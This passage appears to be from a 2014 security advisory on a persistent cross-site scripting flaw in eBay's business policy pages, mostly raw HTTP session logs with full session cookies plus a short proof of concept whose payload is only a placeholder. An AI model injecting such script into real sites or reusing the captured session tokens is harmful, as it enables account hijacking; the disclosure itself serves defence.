s=BAQAAAUSucEmyAAWAAAEAClMoeF0yMDE0Lmt1bnptAAMAAVMoiaMwAWUAAlMoiaMjMgAGAAFTKImjMACoAAFTKHhdMQFKABhTKImjNTMyNzM3YzAuMC4xLjExLjc4LjIuMC4yAAwAClMoiaMxMjI1NjM3OTA2AO4AflMoiaMxBmh0dHA6Ly9teS5lYmF5LmNvbS93cy9lQmF5SVNBUEkuZGxsP015ZUJheSZteWViYXk9JnRva2VuaWQ9NDgmY3VycmVudHBhZ2U9TXllQmF5UHJlZmVyZW5jZXMmc3NwYWdlbmFtZT1zdWNjZXNzQWRQcmVmZXJlbmNlcwcAEgAKUyiJo3Rlc3RDb29raWUA9AAiUyiJoyQyJEFQS2hOWS9QJC51akNnREpDSGIudm1PbzV6TFJUejEA+AAgUyiJo2QwYTVhZTQ1MTQ0MGE0MjhiMzgyZmUzMmZmZmZmZTg0ALgADFMnOU8xMzk1MDc5MzUwOjAAPQAKUyiJozIwMTQua3Vuem1Ejb6V2GvxX+CZLB1SZINlLcDnjA**;Domain=.ebay.com;Path=/; HttpOnly
nonsession=BAQAAAUSucEmyAAaAAEAAClUIa6MyMDE0Lmt1bnptAWQAA1UIa6MjOGEABAAKVQhaXTIwMTQua3Vuem0AygAgXI05o2M3N2NmM2RmMTQ0MGEzNTg2YzI0NGFkNGZmZmZmZTRmAMsAAlMnPysxMAFMABhVCGujNTMyNzM3YzAuMC4xLjExLjc4LjMuMC4yAU0AGFUIa6M1MzI3MzdjYS4wLjEuMi4xMzYuMC4wLjIAEAAKVQhrozIwMTQua3Vuem0AMwAJVQhrozM0MTI4LERFVQDzACJVCGujJDIkQVBLaE5ZL1AkLnVqQ2dESkNIYi52bU9vNXpMUlR6MQC0AAFTJ+7wMACaAAtTKcndMjAxNC5rdW56bW4AnAA4VQhro25ZK3NIWjJQckJtZGo2d1ZuWStzRVoyUHJBMmRqNkFHa29lbkM1ZUxvUXFkajZ4OW5ZK3NlUT09AJ0ACFUIa6MwMDAwMDAwMTwIsT4ZdmKze+o6aCD30vVea2+e; Domain=.ebay.com; Expires=Tue, 17-Mar-2015 18:00:03 GMT; Path=/
secses=BAQAAAUSucEmyAAaAAUsAGFUIa6M1MzI3MzdjMC4wLjEuMTEuNzguMi4wLjJ5+5WwmaLoxSDYeRvnyhWgee/Y/g**; Domain=.ebay.com; Path=/
lucky9=9393341; Domain=.ebay.com; Expires=Sat, 16-Mar-2019 18:00:03 GMT; Path=/]
      Cache-Control[private]
      Pragma[no-cache]
      Content-Type[text/plain]
      Content-Length[22]
      Date[Mon, 17 Mar 2014 18:00:03 GMT]

Status: 200[OK]
GET http://my.ebay.com/ws/eBayISAPI.dll?GetGHNotificationsCommand&up=1&ts=-1...

Load Flags[LOAD_BACKGROUND  ] Größe des Inhalts[22] Mime Type[text/plain]
   Request Header:
      Host[my.ebay.com]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0]
      Accept[text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, */*; q=0.01]
      Accept-Language[de-de,de;q=0.8,en-us;q=0.5,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      X-Requested-With[XMLHttpRequest]
      Referer[http://my.ebay.com/ws/eBayISAPI.dll?MyEbay&CurrentPage=MyeBayPreferences...
      Cookie[ebay=%5EsfLMD%3D1391608831%5Esbf%3D%23200000000000c0048002004%5Ecos%3D1%5Ecv%3D15555%5Esin%3Din%5Ejs%3D1%5Edv%3D532737c1%5E; dp1=ba1p/0532889a3^bl/DE56e99f23^kms/in56e99f23^reg/%5EflagReg%3D1%5E56e99f23^pcid/159931376355086ba3^mpc/0%7C7753346723^pbf/%2340000000000081a88200000455086ba3^tzo/-3c53274633^exc/0%3A0%3A0%3A0534ec523^mms/0.53272b71.053288945^u1p/MjAxNC5rdW56bQ**55086ba3^u1f/Benjamin55086ba3^idm/153274c6b^; s=BAQAAAUSucEmyAAWAAAEAClMoeF0yMDE0Lmt1bnptAAMAAVMoiaMwAWUAAlMoiaMjMgAGAAFTKImjMACoAAFTKHhdMQFKABhTKImjNTMyNzM3YzAuMC4xLjExLjc4LjIuMC4yAAwAClMoiaMxMjI1NjM3OTA2AO4AflMoiaMxBmh0dHA6Ly9teS5lYmF5LmNvbS93cy9lQmF5SVNBUEkuZGxsP015ZUJheSZteWViYXk9JnRva2VuaWQ9NDgmY3VycmVudHBhZ2U9TXllQmF5UHJlZmVyZW5jZXMmc3NwYWdlbmFtZT1zdWNjZXNzQWRQcmVmZXJlbmNlcwcAEgAKUyiJo3Rlc3RDb29raWUA9AAiUyiJoyQyJEFQS2hOWS9QJC51akNnREpDSGIudm1PbzV6TFJUejEA+AAgUyiJo2QwYTVhZTQ1MTQ0MGE0MjhiMzgyZmUzMmZmZmZmZTg0ALgADFMnOU8xMzk1MDc5MzUwOjAAPQAKUyiJozIwMTQua3Vuem1Ejb6V2GvxX+CZLB1SZINlLcDnjA**; nonsession=BAQAAAUSucEmyAAaAAEAAClUIa6MyMDE0Lmt1bnptAWQAA1UIa6MjOGEABAAKVQhaXTIwMTQua3Vuem0AygAgXI05o2M3N2NmM2RmMTQ0MGEzNTg2YzI0NGFkNGZmZmZmZTRmAMsAAlMnPysxMAFMABhVCGujNTMyNzM3YzAuMC4xLjExLjc4LjMuMC4yAU0AGFUIa6M1MzI3MzdjYS4wLjEuMi4xMzYuMC4wLjIAEAAKVQhrozIwMTQua3Vuem0AMwAJVQhrozM0MTI4LERFVQDzACJVCGujJDIkQVBLaE5ZL1AkLnVqQ2dESkNIYi52bU9vNXpMUlR6MQC0AAFTJ+7wMACaAAtTKcndMjAxNC5rdW56bW4AnAA4VQhro25ZK3NIWjJQckJtZGo2d1ZuWStzRVoyUHJBMmRqNkFHa29lbkM1ZUxvUXFkajZ4OW5ZK3NlUT09AJ0ACFUIa6MwMDAwMDAwMTwIsT4ZdmKze+o6aCD30vVea2+e; cssg=d0a5ae451440a428b382fe32fffffe84; cid=xAMhIMTTiG9hpoAp%231599313763; lucky9=9393341; npii=btguid/c77cf3df1440a3586c244ad4fffffe4f55086b58^cguid/c77cfce61440a56b23d61f96fe2e024155086b58^; ds1=ats/1395074781098; ns1=BAQAAAUSucEmyAAaAAKUADVUIa6MxMjI1NjM3OTA2LzA7QZZOFOpy8ayMp8onGgFulfsBYFA*; secses=BAQAAAUSucEmyAAaAAUsAGFUIa6M1MzI3MzdjMC4wLjEuMTEuNzguMi4wLjJ5+5WwmaLoxSDYeRvnyhWgee/Y/g**; shs=BAQAAAUSucEmyAAaAAVUADlMwYV01MTYyMjA1MzEwMDQsM0lQMoD56FArTr0IRZNrcW0RgsFk; JSESSIONID=37628EA4B997D2976280801A071E51EE]
      Connection[keep-alive]
   Response Header:
      Server[Apache-Coyote/1.1]
      rlogid[p4n%7Cceb%7Cehq%60%3C%3Dsm%7E0a54d.32%3Ef-144d1334c9e-0x132]
      Set-Cookie[ds1=ats/1395074781098; Domain=.ebay.com; Path=/
ebay=%5EsfLMD%3D1391608831%5Esbf%3D%23200000000000c0048002004%5Ecos%3D1%5Ecv%3D15555%5Esin%3Din%5Ejs%3D1%5Edv%3D532737c1%5E; Domain=.ebay.com; Path=/
dp1=ba1p/0532889a3^bl/DE56e99f23^kms/in56e99f23^reg/%5EflagReg%3D1%5E56e99f23^pcid/159931376355086ba3^pbf/%2340000000000081a88200000455086ba3^mpc/0%7C7753346723^tzo/-3c53274633^exc/0%3A0%3A0%3A0534ec523^mms/0.53272b71.053288945^u1p/MjAxNC5rdW56bQ**55086ba3^u1f/Benjamin55086ba3^idm/153274c6b^; Domain=.ebay.com; Expires=Wed, 16-Mar-2016 18:00:03 GMT; Path=/
ns1=BAQAAAUSucEmyAAaAAKUADVUIa6MxMjI1NjM3OTA2LzA7QZZOFOpy8ayMp8onGgFulfsBYFA*;Domain=.ebay.com;Expires=Tue, 17-Mar-2015 18:00:03 GMT;Path=/; HttpOnly
cssg=d0a5ae451440a428b382fe32fffffe84; Domain=.ebay.com; Path=/
s=BAQAAAUSucEmyAAWAAAEAClMoeF0yMDE0Lmt1bnptAAMAAVMoiaMwAWUAAlMoiaMjMgAGAAFTKImjMACoAAFTKHhdMQFKABhTKImjNTMyNzM3YzAuMC4xLjExLjc4LjIuMC4yAAwAClMoiaMxMjI1NjM3OTA2AO4AflMoiaMxBmh0dHA6Ly9teS5lYmF5LmNvbS93cy9lQmF5SVNBUEkuZGxsP015ZUJheSZteWViYXk9JnRva2VuaWQ9NDgmY3VycmVudHBhZ2U9TXllQmF5UHJlZmVyZW5jZXMmc3NwYWdlbmFtZT1zdWNjZXNzQWRQcmVmZXJlbmNlcwcAEgAKUyiJo3Rlc3RDb29raWUA9AAiUyiJoyQyJEFQS2hOWS9QJC51akNnREpDSGIudm1PbzV6TFJUejEA+AAgUyiJo2QwYTVhZTQ1MTQ0MGE0MjhiMzgyZmUzMmZmZmZmZTg0ALgADFMnOU8xMzk1MDc5MzUwOjAAPQAKUyiJozIwMTQua3Vuem1Ejb6V2GvxX+CZLB1SZINlLcDnjA**;Domain=.ebay.com;Path=/; HttpOnly
nonsession=BAQAAAUSucEmyAAaAAEAAClUIa6MyMDE0Lmt1bnptAWQAA1UIa6MjOGEABAAKVQhaXTIwMTQua3Vuem0AygAgXI05o2M3N2NmM2RmMTQ0MGEzNTg2YzI0NGFkNGZmZmZmZTRmAMsAAlMnPysxMAFMABhVCGujNTMyNzM3YzAuMC4xLjExLjc4LjMuMC4yAU0AGFUIa6M1MzI3MzdjYS4wLjEuMi4xMzYuMC4wLjIAEAAKVQhrozIwMTQua3Vuem0AMwAJVQhrozM0MTI4LERFVQDzACJVCGujJDIkQVBLaE5ZL1AkLnVqQ2dESkNIYi52bU9vNXpMUlR6MQC0AAFTJ+7wMACaAAtTKcndMjAxNC5rdW56bW4AnAA4VQhro25ZK3NIWjJQckJtZGo2d1ZuWStzRVoyUHJBMmRqNkFHa29lbkM1ZUxvUXFkajZ4OW5ZK3NlUT09AJ0ACFUIa6MwMDAwMDAwMTwIsT4ZdmKze+o6aCD30vVea2+e; Domain=.ebay.com; Expires=Tue, 17-Mar-2015 18:00:03 GMT; Path=/
secses=BAQAAAUSucEmyAAaAAUsAGFUIa6M1MzI3MzdjMC4wLjEuMTEuNzguMi4wLjJ5+5WwmaLoxSDYeRvnyhWgee/Y/g**; Domain=.ebay.com; Path=/
lucky9=9393341; Domain=.ebay.com; Expires=Sat, 16-Mar-2019 18:00:03 GMT; Path=/]
      Cache-Control[private]
      Pragma[no-cache]
      Content-Type[text/plain]
      Content-Length[22]
      Date[Mon, 17 Mar 2014 18:00:03 GMT]

PoC:  Activity log: Return Policy 1 [x]

<div>
<h2 class="act-title">Activity log: <span id="policy_name">Return Policy 1 "><[PERSISTENT INJECTED SCRIPT CODES!]);"></span></h2>
<div id="activityLogContent" class="act-cnt">
<table cellpadding="0" cellspacing="0">
<thead><tr>
<th class="first">Date/Time</th>
<th class="second">Action</th>
<th class="third">Description</th>
<th class="fourth">Report</th>
</tr></thead></table>

Note: After the exploitation the active log serivce is also compromised.

--- PoC Session Logs [GET] ---
Status: 200[OK] GET http://www.bizpolicy.ebay.com/businesspolicy/x[PERSISTENT INJECTED SCRIPT CODE!]
Load Flags[LOAD_NORMAL] Größe des Inhalts[1201] Mime Type[text/html]
   Request Header:
      Host[www.bizpolicy.ebay.com]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0]
      Accept[image/png,image/*;q=0.8,*/*;q=0.5]
      Accept-Language[de-de,de;q=0.8,en-us;q=0.5,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Referer[http://www.bizpolicy.ebay.com/businesspolicy/manage?totalPages=1]
      Cookie[ebay=%5Epsi%3DASTJiAAE*%5EsfLMD%3D1391608831%5Esbf%3D%23200000000000c0048002004%5Ecos%3D1%5Ecv%3D15555%5Esin%3Din%5Ejs%3D1%5Edv%3D53273c55%5E; dp1=ba1p/053289001^bl/DE56e9a581^kms/in56e9a581^reg/%5EflagReg%3D1%5E56e9a581^pcid/159931376355087201^mpc/0%7C7753346d81^pbf/%2340000000000081a88200000455087201^tzo/-3c53274c91^exc/0%3A0%3A0%3A0534ecb81^mms/0.53272b71.053288945^u1p/MjAxNC5rdW56bQ**55087201^u1f/Benjamin55087201^idm/153274c6b^; s=BAQAAAUSucEmyAAWAAAEAClMoeF0yMDE0Lmt1bnptAAMAAVMokAEwAWUAAlMokAEjMgAGAAFTKJABMACoAAFTKHhdMQFKABhTKJABNTMyNzM3YzAuMC4xLjExLjc4LjIuMC4yAAwAClMokAExMjI1NjM3OTA2AO4AflMokAExBmh0dHA6Ly9teS5lYmF5LmNvbS93cy9lQmF5SVNBUEkuZGxsP015ZUJheSZteWViYXk9JnRva2VuaWQ9NDgmY3VycmVudHBhZ2U9TXllQmF5UHJlZmVyZW5jZXMmc3NwYWdlbmFtZT1zdWNjZXNzQWRQcmVmZXJlbmNlcwcAEgAKUyiQAXRlc3RDb29raWUA9AAiUyiQASQyJEFQS2hOWS9QJC51akNnREpDSGIudm1PbzV6TFJUejEA+AAgUyiQAWQwYTVhZTQ1MTQ0MGE0MjhiMzgyZmUzMmZmZmZmZTg0ALgADFMnP60xMzk1MDc5MzUwOjAAPQAKUyiQATIwMTQua3Vuem3M/bEjO3QgStCZxGHoMG4FWaj2Rg**; nonsession=BAQAAAUSucEmyAAaAAEAAClUIcgEyMDE0Lmt1bnptAWQAA1UIcgEjOGEABAAKVQhaXTIwMTQua3Vuem0AygAgXI1AAWM3N2NmM2RmMTQ0MGEzNTg2YzI0NGFkNGZmZmZmZTRmAMsAAlMnRYkyMQFMABhVCHIBNTMyNzM3YzAuMC4xLjExLjc4LjMuMC4yAU0AGFUIcgE1MzI3M2RkMi4wLjEuMi4xMzYuMC4wLjIAEAAKVQhyATIwMTQua3Vuem0AMwAJVQhyATM0MTI4LERFVQDzACJVCHIBJDIkQVBLaE5ZL1AkLnVqQ2dESkNIYi52bU9vNXpMUlR6MQC0AAFTJ+7wMACaAAtTKcndMjAxNC5rdW56bW4AnAA4VQhyAW5ZK3NIWjJQckJtZGo2d1ZuWStzRVoyUHJBMmRqNkFHa29lbkM1ZUxvUXFkajZ4OW5ZK3NlUT09AJ0ACFUIcgEwMDAwMDAwMYEG3noCCpfEtIJDQA4W2mCUvROF; cssg=d0a5ae451440a428b382fe32fffffe84; cid=xAMhIMTTiG9hpoAp%231599313763; lucky9=9393341; npii=btguid/c77cf3df1440a3586c244ad4fffffe4f55087201^cguid/c77cfce61440a56b23d61f96fe2e024155087201^; ds1=ats/1395074781098; ns1=BAQAAAUSucEmyAAaAAKUADVUIcgExMjI1NjM3OTA2LzA7Z/0uwdxIwLmpExj/Whb9VGXz2oM*; secses=BAQAAAUSucEmyAAaAAUsAGFUIcgE1MzI3MzdjMC4wLjEuMTEuNzguMi4wLjJdgCSPs+1ulBCbABPTM3Q2B4zn6g**; shs=BAQAAAUSucEmyAAaAAVUADlMwYV01MTYyMjA1MzEwMDQsM0lQMoD56FArTr0IRZNrcW0RgsFk; JSESSIONID=D0F0865539CABCE246EB953E8860B953; ds2=asotr/b7qeZzzzzzzz^sotr/b7qeZzzzzzzz^]
      Connection[keep-alive]
   Response Header:
      rlogid[t6al%7Cwliodz%3F%3Cwk%7D1e37e*%3B27c-144d14de1b3-0x96]
      Content-Type[text/html;charset=utf-8]
      Content-Length[1201]
      Date[Mon, 17 Mar 2014 18:29:05 GMT]
      Server[eBay Server]

Reference(s):
http://www.ebay.com/businesspolicy/
http://www.bizpolicy.ebay.com/businesspolicy/return
http://www.bizpolicy.ebay.com/businesspolicy/return?profileId=5284418601...
http://www.bizpolicy.ebay.com/businesspolicy/return?totalPages=1&profile...
http://www.bizpolicy.ebay.com/businesspolicy/manage?pageNumber=1&totalPa...{%22status%22%3A%22success_edit_return%22}
http://www.bizpolicy.ebay.com/businesspolicy/return?totalPages=1&profile...
http://www.bizpolicy.ebay.com/businesspolicy/
http://www.bizpolicy.ebay.com/businesspolicy/manage?totalPages=1

Advisories:
http://www.vulnerability-lab.com/get_content.php?id=1215

http://www.vulnerability-lab.com/get_content.php?id=1227

http://www.vulnerability-lab.com/get_content.php?id=1228